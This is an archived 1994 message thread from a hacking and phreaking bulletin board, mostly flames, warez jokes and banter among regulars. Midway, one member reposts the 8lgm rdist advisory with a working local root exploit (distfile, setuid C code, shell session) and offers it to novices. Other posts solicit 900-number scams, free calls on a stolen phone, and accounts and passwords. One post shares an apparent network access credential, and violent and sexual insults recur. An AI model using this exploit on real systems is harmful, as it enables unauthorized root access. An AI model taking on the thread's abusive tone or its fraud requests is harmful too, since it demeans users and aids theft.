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From: Dim@yabbs
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To: all@yabbs
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Subject: re: Sunsite?
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Date: Sat Jul 2 15:16:52 1994
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Well I was on sunsite yesterday, so they must have cleared up their
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hacking problems...
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From Jeremiah@yabbs Sat Jul 2 18:46:24 1994
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From: Jeremiah@yabbs
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To: Dim@yabbs
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Subject: Aye
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Date: Sat Jul 2 18:46:24 1994
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Yeah, no cutesy little logon message anymore.... Oh well...
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From Mystery@yabbs Sun Jul 3 16:46:12 1994
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From: Mystery@yabbs
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To: all@yabbs
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Subject: FSP
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Date: Sun Jul 3 16:46:12 1994
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What is FSP and how does one use it? I've heard some things about it, but
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haven't seen any sites where they use it...
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From cosmos@yabbs Sun Jul 3 18:15:49 1994
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From: cosmos@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Sun Jul 3 18:15:49 1994
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In message FSP, Mystery said:
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> haven't seen any sites where they use it...
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FSP |Z 3l33t cUz ewe g3T |<-RaD \/\/aR3Z
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Cosmos
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(basically its the ad hoc of almost any warez junkie)
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From dmonger@yabbs Mon Jul 4 20:38:43 1994
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From: dmonger@yabbs
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To: cosmos@yabbs
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Subject: re: FSP
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Date: Mon Jul 4 20:38:43 1994
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you can find some cool demos off it too (not that i remember where).
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it would be a neat idea if it wasn't such a fucking slow protocol. :)
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(geek joke )
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-peter
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From Mystery@yabbs Wed Jul 6 16:26:49 1994
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From: Mystery@yabbs
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To: cosmos@yabbs
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Subject: re: FSP
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Date: Wed Jul 6 16:26:49 1994
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How does one get FSP and where are some sites where one can use it?
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From GPF@yabbs Wed Jul 6 19:37:59 1994
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From: GPF@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Wed Jul 6 19:37:59 1994
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i think there's a copy of fsp at sunsite.unc.edu..
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you an get KrAd WaReZZZzZ at ftp.cert.org.... for more information..
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write cert@cert.org with the subject line saying "3y3 n33d WaR3ZzZ!!$#!$"
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*smirk*
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gpf.....
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From cosmos@yabbs Wed Jul 6 22:59:19 1994
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From: cosmos@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Wed Jul 6 22:59:19 1994
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In message re: FSP, Mystery said:
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> How does one get FSP and where are some sites where one can use it?
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>
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Look up sarcasm. Then use a large caliber handgun at close range.
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Cosmos
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From Mystery@yabbs Fri Jul 8 00:03:21 1994
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From: Mystery@yabbs
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To: GPF@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 00:03:21 1994
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Yeah... I bet... You'd really post a site with pirate stuff to someone
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you don't even know? Get real...
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From cosmos@yabbs Fri Jul 8 00:41:05 1994
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From: cosmos@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 00:41:05 1994
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In message re: FSP, Mystery said:
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> Yeah... I bet... You'd really post a site with pirate stuff to someone
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> you don't even know? Get real...
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>
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Fuck off wanker. Sarcasm, learn it.
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Cosmos
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From Mystery@yabbs Fri Jul 8 17:38:53 1994
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From: Mystery@yabbs
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To: cosmos@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 17:38:53 1994
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Hey, I was just writing a message trying to find out some stuff... Why
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don't you take your proabably miniscule little dick and shove it up your
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own ass... I was asking for some public, legal FSP places... I was NOT
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asking for some Pirate/Warez place.. Hell for all you know I could be
|
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some cop or something... I know sarcasm, but I just thought that the
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users on here would be a little more courteous when it came to helping
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someone else on things... I guess I was wrong... Go crawl into a dark
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cave and rot like the CRAP you are writing...
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Now that that little flame is over, any out there that can honestly help
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me?
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From rattler@yabbs Fri Jul 8 17:48:10 1994
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From: rattler@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 17:48:10 1994
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thank you. you saved my day. i thought this was all gonna be moody,
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gloomy, dead dank boring.
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but no, my angel!
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you YOU you came to the rescue.
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thankyouthankyouthankyou.
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From gpf_no_2@yabbs Fri Jul 8 17:53:44 1994
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From: gpf_no_2@yabbs
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To: Mystery@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 17:53:44 1994
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there are few legal fsp sites for many reasons... a) the only advantages
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of fsp are that it is slightly harder to track that ftp and b) that it
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creates less load for the server... otoh, it is limited to very,very slow
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dtr.. (something like 1kps if i remember correctly...)
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so it's only really useful for 3l33t \/\/aR3Z d00dZ (hahahaha) and kiddie
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porn sickos...
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...gpf
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From gpf_no_2@yabbs Fri Jul 8 17:57:16 1994
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From: gpf_no_2@yabbs
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To: rattler@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 17:57:16 1994
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what the fuck?
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followups to the poetry base... sheesh
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From Justbob@yabbs Fri Jul 8 19:29:38 1994
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From: Justbob@yabbs
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To: gpf_no_2@yabbs
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Subject: re: FSP
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Date: Fri Jul 8 19:29:38 1994
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Don't forget wuarchive.wustl.edu
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I suppose that's a pretty damn big fsp site. But again, why ould you want
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to use fsp...unless of course you couldn't get in on ftp...
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From Delmar@yabbs Sat Jul 9 11:50:32 1994
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From: Delmar@yabbs
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To: PyR0@yabbs
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Subject: re: Where is the 0 dayz
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Date: Sat Jul 9 11:50:32 1994
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My god. Is this how all internet HP sites are? This seems more
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... childish? I thought this was an H/P base....
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From Jeremiah@yabbs Sat Jul 9 12:13:55 1994
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From: Jeremiah@yabbs
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To: cosmos@yabbs
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Subject: Phrack-44
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Date: Sat Jul 9 12:13:55 1994
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Was that your artical in Phrack-44 or was it someone with the same handle
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as you? Just curious...
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From Natalie@yabbs Sat Jul 9 16:53:20 1994
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From: Natalie@yabbs
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To: Delmar@yabbs
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Subject: re: Where is the 0 dayz
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Date: Sat Jul 9 16:53:20 1994
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you thought wrong
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natalie
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From dmonger@yabbs Sat Jul 9 18:09:53 1994
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From: dmonger@yabbs
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To: Delmar@yabbs
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Subject: re: Where is the 0 dayz
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Date: Sat Jul 9 18:09:53 1994
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who say s all hacking has to be on computers?
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-peter
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From Mystery@yabbs Sat Jul 9 23:30:19 1994
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From: Mystery@yabbs
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To: rattler@yabbs
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Subject: re: FSP
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Date: Sat Jul 9 23:30:19 1994
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No problem... Glad to be of help... ;)
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From Mystery@yabbs Sun Jul 10 00:28:20 1994
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From: Mystery@yabbs
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To: gpf_no_2@yabbs
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Subject: re: FSP
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Date: Sun Jul 10 00:28:20 1994
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Why is it that people who thing they are really cool make things hard to
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read by writing elite as 3l33t or dude as d00d or some crap like that?
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From Zbadba@yabbs Sun Jul 10 00:37:56 1994
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From: Zbadba@yabbs
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To: Jeremiah@yabbs
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Subject: re: Phrack-44
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Date: Sun Jul 10 00:37:56 1994
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"cosmos" is the handle of choice for would-be phone phreaks and
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such all over america, seeing as how it's the name of a well known at&t
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computer system. \
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From cosmos@yabbs Sun Jul 10 01:39:40 1994
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From: cosmos@yabbs
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To: dmonger@yabbs
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Subject: re: Where is the 0 dayz
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Date: Sun Jul 10 01:39:40 1994
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In message re: Where is the 0 dayz, dmonger said:
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> who say s all hacking has to be on computers?
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>
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> -peter
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>
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The lame shits who read phrack, phun, LOD, (your 3l33t mag here)....
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The same lame shits that then gather up 2.5 billion scripts and run them
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all on some system(usually a freenet or their schools server).
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The same lame shits that then boast and brag on #hack about how elite
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they are and how its |<-rAd to have r00t access.
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The same lame shits that couldnt explain the difference between Kerberos
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and Secure RPC.
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But then again, they dont have to....| g0tZ rdist scr|ptz d00d
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Fuck em.
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Cosmos
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From cosmos@yabbs Sun Jul 10 01:42:22 1994
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From: cosmos@yabbs
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To: Zbadba@yabbs
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Subject: re: Phrack-44
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Date: Sun Jul 10 01:42:22 1994
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In message re: Phrack-44, Zbadba said:
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> "cosmos" is the handle of choice for would-be phone phreaks and
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> such all over america, seeing as how it's the name of a well known at&t
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> computer system. \
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Actually, its a text written by Carl Sagan on astronomy and universal
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physics...but I wont hold it against you.
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As for phone phreaking, thievery aint my style.
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Cosmos
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From dmonger@yabbs Sun Jul 10 01:56:24 1994
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From: dmonger@yabbs
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To: cosmos@yabbs
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Subject: re: Where is the 0 dayz
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Date: Sun Jul 10 01:56:24 1994
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hell, i read phrak, at least back issues
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i read 2600 sometimes
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i don't take them as gospel tho
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-peter
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From Zbadba@yabbs Sun Jul 10 18:38:51 1994
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From: Zbadba@yabbs
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To: cosmos@yabbs
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Subject: re: Phrack-44
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Date: Sun Jul 10 18:38:51 1994
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Actually, its a text written by Carl Sagan on astronomy and universal
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physics...but I wont hold it against you.
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---
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Well met. It's a right good text, too.
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From Badger01@yabbs Mon Jul 11 18:58:09 1994
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From: Badger01@yabbs
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To: cosmos@yabbs
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Subject: re: Phrack-44
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Date: Mon Jul 11 18:58:09 1994
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>But I won't hold it against you.
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Dude, you gotta watch it. That's a massive straight line. You left
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yourself way open with that one.
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But I won't hold it against you. :)
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Badger01
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From feotus@yabbs Mon Jul 11 19:47:09 1994
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From: feotus@yabbs
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To: Zbadba@yabbs
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Subject: re: Phrack-44
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Date: Mon Jul 11 19:47:09 1994
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all Cosmos wasnt all that good of a book.
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Carl sued Apple too 8)
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cos, you got any rdist scripts man? My copy got deleted and now I cant
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crack any sites man. I was so awesome as root. I even logged into IRC
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from teh root account. And I can post to usenet from the root account
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there too, everyone must really think I am a badass, and they had better,
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orI'll fake mail them on port 25 dood.
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(now that the sarcasm is out of the system)
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Kerberos is to hard a system too use IMO. Meaning from teh admin point of
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view it's not worht the trouble. We were looking at it for a site. It
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has limitation for users outside the US, and IMO doesnt doa good job with
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ket managment(but im a paranoid freek, go figure)
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From cosmos@yabbs Tue Jul 12 00:41:00 1994
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From: cosmos@yabbs
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To: Badger01@yabbs
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Subject: re: Phrack-44
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Date: Tue Jul 12 00:41:00 1994
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In message re: Phrack-44, Badger01 said:
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> >But I won't hold it against you.
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>
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> Dude, you gotta watch it. That's a massive straight line. You left
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> yourself way open with that one.
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>
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> But I won't hold it against you. :)
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>
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> Badger01
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Seeing as how I didnt say the above quote you so gracefully attributed to
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me I think I shall comment.
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Get your fucking head out of your ass and reply to the right people moron.
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Cosmos
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From Badger01@yabbs Tue Jul 12 17:09:21 1994
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From: Badger01@yabbs
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To: cosmos@yabbs
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Subject: re: Phrack-44
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Date: Tue Jul 12 17:09:21 1994
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>Get your fucking head out of your ass and reply to the right people
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moron.
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That you? Hate to reply incorrectly.
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Boy, you must be really insecure about that microcephalic lump you use for
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a cerebellum if that's the best insult you can come up with.
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But it must be hard to be you, what with that endless font of banality
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spewing forth and getting all over yourself like that...is being walking
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excrement as painful as it seems? I figure I should ask you, since you are
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the master of it, and I am interested in just how low you can sink. (BTW:
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Naming yourself after a book that was disdained by almost everyone in
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Astronomy and blown out of the water by Andrevich's TOTALITY LOG is fairly
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disappointing...I come looking for the king of flames, and I find the
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court jester holding the sceptre quaking in his palsied hands.)
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Well, have a nice day, Mr. Originality.
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Badger01
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From Gnarr@yabbs Tue Jul 12 18:04:53 1994
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From: Gnarr@yabbs
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To: cosmos@yabbs
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Subject: 1176
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Date: Tue Jul 12 18:04:53 1994
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Um...maybe I missed something cos...but maybe you should go back and read
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message 1176....If I can read correctly..which I assume I can, you did
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in fact write "but I won't hold it against you" in the message
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:)
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From Natalie@yabbs Tue Jul 12 18:26:33 1994
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From: Natalie@yabbs
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To: cosmos@yabbs
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Subject: re: Phrack-44
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Date: Tue Jul 12 18:26:33 1994
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billions and billions......
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(in my best carl sagan voice, of course)
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natalie
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From feotus@yabbs Wed Jul 13 13:01:45 1994
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From: feotus@yabbs
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To: all@yabbs
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Subject: 900 number
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Date: Wed Jul 13 13:01:45 1994
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Does anyone have the starting cost for a 900 number?
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There are some neat scams you can run with them.
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also, has anyone succesfully built a darkbox? I am trying to find the
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schemetics for one, but no luck as the ones I found were corrupted.
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From cosmos@yabbs Thu Jul 14 00:05:59 1994
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From: cosmos@yabbs
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To: all@yabbs
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Subject: |<-RaD 3l33t sCr|PtZ d00d
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Date: Thu Jul 14 00:05:59 1994
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[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991:
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This advisory has been sent to:
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comp.security.unix
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INFOHAX<infohax-emergency@stormking.com>
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BUGTRAQ<chasin@crimelab.com>
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CERT/CC<cert@cert.org>
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===========================================================================
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[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991
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PROGRAM:
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rdist(1)(/usr/ucb/rdist or /usr/bin/rdist)
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VULNERABLE OS's:
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SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
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A/UX 2.0.1
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SCO 3.2v4.2
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BSD NET/2 Derived Systems
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Most systems supporting BSD rdist
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DESCRIPTION:
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rdist(1) uses popen(3) to execute sendmail(8) as root. It can
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therefore be made to execute arbitary programs as root.
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IMPACT:
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Any user with access to rdist(1) can become root.
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REPEAT BY:
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This example demonstrates how to become root on most affected
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machines by creating a set-uid root shell. Please do not do
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this unless you have permission.
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Create the following file, 'distfile':
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8<--------------------------- cut here ----------------------------
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HOSTS = localhost
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FILES = BullInTheHeather
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${FILES} -> ${HOSTS}
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install /tmp/1 ;
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notify user ;
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8<--------------------------- cut here ----------------------------
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Create the following file, 'usr.c':
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8<--------------------------- cut here ----------------------------
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main()
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{
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setuid(0);
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chown("sh", 0, 0);
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chmod("sh", 04755);
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exit(0);
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}
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8<--------------------------- cut here ----------------------------
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(Lines marked with > represent user input)
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>% cp /bin/sh .
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>% cc -o usr usr.c
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>% set path=(. $path)
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>% setenv IFS /
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>% rdist
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updating host localhost
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rdist: BullInTheHeather: No such file or directory
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notify @localhost ( user )
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>% ls -l
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-rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
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>% ./sh
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#
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FIX:
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1. Contact your vendor for a fix. Sun's latest rdist patch
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(Patch-ID# 100383-06) fixes this hole in SunOS. Some vendors
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closed this hole while fixing an unrelated problem published
|
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by CERT in their advisory: CA-91:20.rdist.vulnerability.
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2. In the meantime, restrict access to rdist.
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FEEDBACK AND CONTACT INFORMATION:
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8lgm-bugs@bagpuss.demon.co.uk(To report security flaws)
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8lgm-request@bagpuss.demon.co.uk(Request for [8lgm] Advisories)
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8lgm@bagpuss.demon.co.uk(General enquiries)
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System Administrators are encouraged to contact us for any
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other information they may require about the problems described
|
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in this advisory.
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We welcome reports about which platforms this flaw does or does
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not exist on.
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===========================================================================
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From cosmos@yabbs Thu Jul 14 00:07:24 1994
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From: cosmos@yabbs
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To: all@yabbs
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Subject: re: |<-RaD 3l33t sCr|PtZ d00d
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Date: Thu Jul 14 00:07:24 1994
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There you go kids. If you dont have one already...
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Now, who says I dont give the kiddies anything??
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Cosmos
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From Quetzal@yabbs Thu Jul 14 14:41:34 1994
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From: Quetzal@yabbs
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To: all@yabbs
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Subject: Cell phones
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Date: Thu Jul 14 14:41:34 1994
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I recently Jacked some businesman for a cell phone and was wondering if
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there is some kind of way to get free calls without going through credit
|
|
checks, etc I was thinking about trashing around certain service
|
|
providers to find serial numbers... mail any suggestion to
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Quetzal@cyberspace.org
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From cosmos@yabbs Thu Jul 14 16:57:58 1994
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From: cosmos@yabbs
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To: Quetzal@yabbs
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Subject: re: Cell phones
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Date: Thu Jul 14 16:57:58 1994
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In message Cell phones, Quetzal said:
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> I recently Jacked some businesman for a cell phone and was wondering if
|
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> there is some kind of way to get free calls without going through credit
|
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> checks, etc I was thinking about trashing around certain service
|
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> providers to find serial numbers... mail any suggestion to
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> Quetzal@cyberspace.org
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>
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Jacked??!! Must be an elite term for pilfered. Fucking thieves...
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Cosmos
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From dmonger@yabbs Thu Jul 14 18:20:22 1994
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From: dmonger@yabbs
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|
To: cosmos@yabbs
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|
Subject: re: Cell phones
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|
Date: Thu Jul 14 18:20:22 1994
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oh well cosmos,
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i was happy to see you don't seem to swear as much on 386bsd boards tho
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or was that not you.
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-peter
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From cosmos@yabbs Fri Jul 15 00:11:06 1994
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From: cosmos@yabbs
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To: dmonger@yabbs
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Subject: re: Cell phones
|
|
Date: Fri Jul 15 00:11:06 1994
|
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|
|
In message re: Cell phones, dmonger said:
|
|
> oh well cosmos,
|
|
>
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|
> i was happy to see you don't seem to swear as much on 386bsd boards tho
|
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>
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> or was that not you.
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>
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> -peter
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>
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That was my angelic twin.
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Cosmos
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From Skywise@yabbs Fri Jul 15 10:02:53 1994
|
|
From: Skywise@yabbs
|
|
To: all@yabbs
|
|
Subject: re:
|
|
Date: Fri Jul 15 10:02:53 1994
|
|
|
|
I like #hack/
|
|
.s
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|
.S
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|
/s
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|
From Coren@yabbs Fri Jul 15 13:34:11 1994
|
|
From: Coren@yabbs
|
|
To: all@yabbs
|
|
Subject: DOD breakins
|
|
Date: Fri Jul 15 13:34:11 1994
|
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|
|
Just curious if anyone else heard about the breakins at the
|
|
Department of Defense. Seems somone ran a lot of scripts against them.
|
|
The article said there as one arrest. Anyone else have news?
|
|
Chaos.
|
|
Artimage.-
|
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|
|
From cosmos@yabbs Fri Jul 15 14:39:45 1994
|
|
From: cosmos@yabbs
|
|
To: Coren@yabbs
|
|
Subject: re: DOD breakins
|
|
Date: Fri Jul 15 14:39:45 1994
|
|
|
|
In message DOD breakins, Coren said:
|
|
> Just curious if anyone else heard about the breakins at the
|
|
> Department of Defense. Seems somone ran a lot of scripts against them.
|
|
> The article said there as one arrest. Anyone else have news?
|
|
> Chaos.
|
|
> Artimage.-
|
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|
Stupid is as Stupid does. (quote of the day)
|
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|
|
Even 99% of the wanker script c0d3z kiddies knows enough NOT to run
|
|
scripts on the DoD.
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|
Hope they fucking fry em.
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|
Cosmos
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|
From bart@yabbs Fri Jul 15 18:08:56 1994
|
|
From: bart@yabbs
|
|
To: all@yabbs
|
|
Subject: Hacking The Inet.
|
|
Date: Fri Jul 15 18:08:56 1994
|
|
|
|
Yo.
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|
|
|
Heres a tip to hacking on the internet...I got this as an inside
|
|
tip...dont spread it around too much
|
|
|
|
<Arabic> I got into TELENENET 130.160.156.75 like you said, asked for name
|
|
and password...127.0.0.1.19 didn't work
|
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|
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|
|
Telnet to that site ^^^^^^^^^^^^^^^^ for hacking tips...
|
|
|
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|
|
-=-BarT-=-
|
|
|
|
From bart@yabbs Fri Jul 15 18:11:12 1994
|
|
From: bart@yabbs
|
|
To: Coren@yabbs
|
|
Subject: re: DOD breakins
|
|
Date: Fri Jul 15 18:11:12 1994
|
|
|
|
Yea A Man!!! I heared about that That Wuz KKoool
|
|
breaking in To PLaces is cool..
|
|
I BrokE into my School ONce and Stole The disks in THe ComPUter Lab there
|
|
Was Pac Frogger and Karateka on THEm I also FormAteted the hardDrives
|
|
hahahahahahahhaAHAhaHAHah!
|
|
I also Took sujm HCalk!
|
|
|
|
-=-BarT-=-
|
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|
|
From Natalie@yabbs Sat Jul 16 15:46:28 1994
|
|
From: Natalie@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: DOD breakins
|
|
Date: Sat Jul 16 15:46:28 1994
|
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|
|
hey cos...didja just see forrest gump? he always said stupid is a stupid
|
|
does...
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|
(hooboy....and is THAT ever off topic...*snigger*)
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|
natlie
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|
From cosmos@yabbs Sat Jul 16 18:59:46 1994
|
|
From: cosmos@yabbs
|
|
To: Natalie@yabbs
|
|
Subject: re: DOD breakins
|
|
Date: Sat Jul 16 18:59:46 1994
|
|
|
|
In message re: DOD breakins, Natalie said:
|
|
> hey cos...didja just see forrest gump? he always said stupid is a stupid
|
|
> does...
|
|
>
|
|
> (hooboy....and is THAT ever off topic...*snigger*)
|
|
>
|
|
> natliie
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|
|
I am Forest Gump.
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Cosmos
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From mike4721@yabbs Sat Jul 16 20:16:51 1994
|
|
From: mike4721@yabbs
|
|
To: all@yabbs
|
|
Subject: New Hacker
|
|
Date: Sat Jul 16 20:16:51 1994
|
|
|
|
I'm a new hacker, does anyone have some numbers and passwords to help me
|
|
out? I have america online and my address is RoboHak@AOL.com and my BIX
|
|
address is mike4721@BIX.com! please help me if you can!!!!!!!!
|
|
|
|
Robo Hak
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|
From slohack@yabbs Sat Jul 16 21:22:30 1994
|
|
From: slohack@yabbs
|
|
To: mike4721@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sat Jul 16 21:22:30 1994
|
|
|
|
Don't expect people to just give you account&passwd's. Learn about
|
|
hacking don't expect everything to be handed to you and how can you expect
|
|
people to take you seriously if you ask for something illegal (accounts)
|
|
and tell them to send them to you legit accounts on BIX and AOL!!!
|
|
^^^
|
|
/
|
|
hmm....
|
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|
|
From slohack@yabbs Sat Jul 16 21:33:19 1994
|
|
From: slohack@yabbs
|
|
To: slohack@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sat Jul 16 21:33:19 1994
|
|
|
|
Guess my reply was a little nicer then cos's will be......
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|
|
|
-slohack
|
|
awaiting an entertaing reply from cosmos.....
|
|
|
|
From cosmos@yabbs Sun Jul 17 00:36:26 1994
|
|
From: cosmos@yabbs
|
|
To: mike4721@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sun Jul 17 00:36:26 1994
|
|
|
|
In message New Hacker, mike4721 said:
|
|
> I'm a new hacker, does anyone have some numbers and passwords to help me
|
|
> out? I have america online and my address is RoboHak@AOL.com and my BIX
|
|
> address is mike4721@BIX.com! please help me if you can!!!!!!!!
|
|
>
|
|
> Robo Hak
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|
My standard advice:
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|
|
Large caliber handgun...close range.
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|
Cosmos
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From bart@yabbs Sun Jul 17 03:07:13 1994
|
|
From: bart@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: two r's
|
|
Date: Sun Jul 17 03:07:13 1994
|
|
|
|
Forrest Gump.
|
|
-=-BarT-=-
|
|
|
|
From bart@yabbs Sun Jul 17 03:08:45 1994
|
|
From: bart@yabbs
|
|
To: mike4721@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sun Jul 17 03:08:45 1994
|
|
|
|
mike blurted the following:
|
|
---------------------------
|
|
Im a new hacker,does anyone have some num..blah blah blah blahhhblah
|
|
blah blah blahb blah,blah blahhhh?
|
|
----------------------------
|
|
gpf....hand me another pair of pants.
|
|
-=-BarT-=-
|
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|
|
From bart@yabbs Sun Jul 17 03:10:05 1994
|
|
From: bart@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sun Jul 17 03:10:05 1994
|
|
|
|
Cosmos spat sum shit like this:
|
|
-----------------------------
|
|
advivce..
|
|
Large Gun...CLose Range..
|
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|
|
how about a small gun..repeated shots..?
|
|
|
|
-=-BarT-=-
|
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|
|
From GPF@yabbs Sun Jul 17 12:01:44 1994
|
|
From: GPF@yabbs
|
|
To: bart@yabbs
|
|
Subject: re: New Hacker
|
|
Date: Sun Jul 17 12:01:44 1994
|
|
|
|
bart wrote:
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|
|
>how about a small gun..repeated shots..?
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|
|
nope.... he might go unconscious before he actually cracked his obviously
|
|
thick skull....
|
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|
|
From bart@yabbs Sun Jul 17 12:23:51 1994
|
|
From: bart@yabbs
|
|
To: GPF@yabbs
|
|
Subject: dead hackerz.
|
|
Date: Sun Jul 17 12:23:51 1994
|
|
|
|
Gpf Chanted the following bullshit:
|
|
___________________________________________
|
|
nope,he might go unconscsious before he actually cracked his skull.
|
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|
|
***************************************************************************
|
|
******
|
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|
|
cool then we can fondle and grope him...always wanted to do that to a dead
|
|
hacker....*gasp moan slobber pant*
|
|
|
|
-=-BarT-=-
|
|
|
|
From Natalie@yabbs Sun Jul 17 14:39:08 1994
|
|
From: Natalie@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: DOD breakins
|
|
Date: Sun Jul 17 14:39:08 1994
|
|
|
|
oh look. i can't even spell my name right.
|
|
|
|
*sigh*
|
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|
|
natalie
|
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|
|
From Natalie@yabbs Sun Jul 17 14:40:42 1994
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From: Natalie@yabbs
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To: bart@yabbs
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Subject: re: dead hackerz.
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Date: Sun Jul 17 14:40:42 1994
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alt.sex.necrophilia.hacker
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natalie
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From bart@yabbs Sun Jul 17 18:21:13 1994
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From: bart@yabbs
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To: Natalie@yabbs
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Subject: re: dead hackerz.
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Date: Sun Jul 17 18:21:13 1994
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Nat rapped this line:
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--=-=-=-=-=-=-=-=-=-=-=-
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alt.sex.necrophilia.hacker
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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*slobber pant moan giggle rub self*
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-=-BarT-=-
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From GPF@yabbs Sun Jul 17 22:23:46 1994
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From: GPF@yabbs
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To: bart@yabbs
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Subject: re: dead hackerz.
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Date: Sun Jul 17 22:23:46 1994
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judging by some of the ppl that have shown up on this board lately i'd say
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alt.sex.pedophilia.warez.d00dz would be more appropriate.
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From Xela@yabbs Mon Jul 18 02:21:50 1994
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From: Xela@yabbs
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To: Natalie@yabbs
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Subject: re: dead hackerz.
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Date: Mon Jul 18 02:21:50 1994
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Hey, necrophilia is the safest sex going around. You just can't beat it.
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*snicker, snicker*
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X
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From Badger01@yabbs Mon Jul 18 14:43:46 1994
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From: Badger01@yabbs
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To: all@yabbs
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Subject: I'm a federal agent...
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Date: Mon Jul 18 14:43:46 1994
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Hi, I'm a federal agent pretending to be a hacker...could somebody
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incriminate themselves, please?
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Jesus, how stupid can they get?
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Badger01
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From dmonger@yabbs Mon Jul 18 15:12:57 1994
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From: dmonger@yabbs
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To: Badger01@yabbs
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Subject: re: I'm a federal agent...
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Date: Mon Jul 18 15:12:57 1994
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nah, i can't believe even the feds are that stoopid :)
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must be a real hacker
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-peter
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From Carsenio@yabbs Tue Jul 19 19:05:34 1994
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From: Carsenio@yabbs
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To: all@yabbs
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Subject: general spew
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Date: Tue Jul 19 19:05:34 1994
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hmm.. pardon the candor but I just returned to this bbs after a long
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period of time to see how this message base was going, decided to read the
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last 15 messages or so, and either i'm hopelessly disillusioned or those
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messages were filled with absolutely nothing. Now I realize you all can't
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stay on topic all the time, but hey.. save the sysop sum fuqn disk space
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will ya... i think i'll be back in another couple months or so.
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with love..
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-carsenio
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From dmonger@yabbs Tue Jul 19 19:26:32 1994
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From: dmonger@yabbs
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To: Carsenio@yabbs
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Subject: re: general spew
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Date: Tue Jul 19 19:26:32 1994
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In message general spew, Carsenio said:
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> hmm.. pardon the candor but I just returned to this bbs after a long
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> period of time to see how this message base was going, decided to read the
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> last 15 messages or so, and either i'm hopelessly disillusioned or those
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> messages were filled with absolutely nothing. Now I realize you all can't
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oh goodie. yet another person to tell us all what should be on #hack ..
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just what were were missing
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> stay on topic all the time, but hey.. save the sysop sum fuqn disk space
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> will ya... i think i'll be back in another couple months or so.
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we'll be anxiously awaiting your return
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-peter
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From brael@yabbs Wed Jul 20 05:19:18 1994
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From: brael@yabbs
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To: all@yabbs
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Subject: hmmm
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Date: Wed Jul 20 05:19:18 1994
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n e 1 know accurately what the difference between FGA,FGB,FGC,FGD
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calls r?.. i think feature grp a is normal pots phone calls..
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fgc's r like 950's and FGD is 800 but im not sure about FGB..
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whoops i meant FGC .. im wondering if there's n e pratical purpose
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behind formatting FGC originating and terminating phone calls..
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i always get all telco curious when i smoke green kind..
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brael@crl.c0m
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From brael@yabbs Sat Jul 23 05:24:04 1994
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From: brael@yabbs
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To: brael@yabbs
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Subject: 3lee---->T!
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Date: Sat Jul 23 05:24:04 1994
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k-rad NUI: parmasterx75
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uuuh or was it t.spnb01
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26245400080177 bound eye m!haaa
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@ll h@quorz r stupid
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From gritos@yabbs Sun Jul 24 03:19:04 1994
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From: gritos@yabbs
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To: brael@yabbs
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Subject: nui...
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Date: Sun Jul 24 03:19:04 1994
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hello man!
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do ya have the dial-up for k-rad??
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tnxs!
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El Griton
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From gritos@yabbs Sun Jul 24 03:19:50 1994
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From: gritos@yabbs
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To: all@yabbs
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Subject: hp sites..
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Date: Sun Jul 24 03:19:50 1994
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Hello...
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Anybody knows ftp sites with hp stuff?
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tnxs!
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El Griton
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From GPF@yabbs Sun Jul 24 10:13:15 1994
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From: GPF@yabbs
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To: gritos@yabbs
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Subject: re: hp sites..
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Date: Sun Jul 24 10:13:15 1994
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In message hp sites.., gritos incoherently babbled the following:
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> Hello...
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> Anybody knows ftp sites with hp stuff?
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>
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> tnxs!
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>
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>
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> El Griton
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yeah man, i hear there's some cool \/\/aR3Z at a telnet bbs at 127.0.0.1
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port 19....
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0 dayZ d00d!!
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|<-RaD rDiSt s|<RiPtZ To0
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sorry, i couldn't resist...
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...gpf
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From cosmos@yabbs Sun Jul 24 13:05:06 1994
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From: cosmos@yabbs
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To: gritos@yabbs
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Subject: re: nui...
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Date: Sun Jul 24 13:05:06 1994
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In message nui..., gritos said:
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> hello man!
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> do ya have the dial-up for k-rad??
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> tnxs!
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>
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> El Griton
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And you though they couldnt possibly get any more lame...
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Cosmos
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From chaos@yabbs Sun Jul 24 13:21:01 1994
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From: chaos@yabbs
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To: all@yabbs
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Subject: FTP Sites
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Date: Sun Jul 24 13:21:01 1994
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Heres a FTP site listing...
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Phrack can be found at ftp.fc.net in /pub/phrack now.
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bongo.cc.utexas.edu /pub/mccoy/computer-underground
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atomic.llc.org
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corrupt.sekurity.com
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crimelab.com
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ideal.ios.net
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spy.org /pub/SECURITY
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netcom.com /pub/bradleym
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paranoia.com
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enjoy..
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CHA0S
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From N_Rex@yabbs Sun Jul 24 16:44:26 1994
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From: N_Rex@yabbs
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To: gritos@yabbs
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Subject: HP Sites
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Date: Sun Jul 24 16:44:26 1994
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Do you have fsp access? I might be able to point you to a site or two
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there. Whats in it for me?
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Nervous Rex
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From GPF@yabbs Sun Jul 24 17:51:00 1994
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From: GPF@yabbs
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To: N_Rex@yabbs
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Subject: re: HP Sites
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Date: Sun Jul 24 17:51:00 1994
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In message HP Sites, N_Rex said:
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> Do you have fsp access? I might be able to point you to a site or two
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> there. Whats in it for me?
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> Nervous Rex
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d00d, 3y3 hav3 th3 |<-raD \/\/iNd0z3 4.O b3t4, d00d
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3y3 als0 #av3 phr0gg3r f0r th3 (64
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From GPF@yabbs Sun Jul 24 17:57:22 1994
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From: GPF@yabbs
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To: chaos@yabbs
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Subject: re: FTP Sites
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Date: Sun Jul 24 17:57:22 1994
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In message FTP Sites, chaos incoherently ranted the following:
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>
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> ideal.ios.net
